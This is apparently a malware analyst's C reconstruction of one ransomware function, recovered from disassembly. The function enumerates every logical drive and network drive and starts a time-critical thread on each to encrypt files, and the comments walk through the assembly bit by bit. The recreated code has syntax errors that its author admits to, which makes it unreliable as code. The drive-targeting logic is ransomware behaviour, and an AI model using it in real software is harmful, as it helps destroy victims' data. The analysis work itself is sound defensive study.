void __cdecl RANSOM__FindDrivesEnumResources(){ int &ThreadId; /* used in my interpretation of the recreated code, perhaps invalid: */ int i, drivebitmask; drivebitmask = GetLogicalDrives(); /* If the function succeeds, the return value is a bitmask representing the currently available disk drives. * * Bit position 0 (the least-significant bit) is drive A, bit position 1 is drive B, bit position 2 is drive C, and so on. * * On my test system, I have C and D so I should get back 000...00001100 in eax */ */ for (i = 25, i >= 0, i--){ if(((0x1 << i) & drivebitmask) != 0){ /* I suppose you could insert the call to GetLogicalDrives() in the loop, but that's not how the disassemby looked to me */ hThread = CreateThread(0, 0, RANSOM__PassWildcardsToEncLogicalDriveFiles, i, 0, &ThreadId); SetThreadPriority(hThread, THREAD_PRIORITY_TIME_CRITICAL); } } /**************************************************************************************************** * this comment refers to the disassembly, but should also be useful here to understand this func: * * as noted earlier, returns 000...00001100 to eax and then we have 0x19 in ecx or 00011001 * * ebx = 1 * * cl = 0x19 = 00011001 * * ebx << cl = ebx << 1 = 1 << 19 = essentially shifted way out to be almost irrelevant * * ebx & eax = 000....0 & 00001100 = 00000000 * * dec ecx = 0x19-- = 00011000 and loop back to top * * * * we keep doing this over and over until we start to get to the bottom of ECX... for instance: * * cl = 2 = 00000011 * * ebx = 1 * * ebx << cl = 00000001 << 2 = 00000100 * * ebx & eax = 00000100 & 00001100 = 00000100 = not zero because now we hit on the C:\ drive bit * * so NOW we execute the createthread * * * * Since originally ECX is set to 0x19 (25), seems like what we'e doing here is iterating through * * all possible drive letters, since GetLogicalDrives returns a bitmask where each bit * * represents some drive... * * * ****************************************************************************************************/ hThread = CreateThread(0, 0, RANSOM__EnumNetworkDrivesNewEnum, 0, 0, &ThreadId); SetThreadPriority(hThread, THREAD_PRIORITY_TIME_CRITICAL); }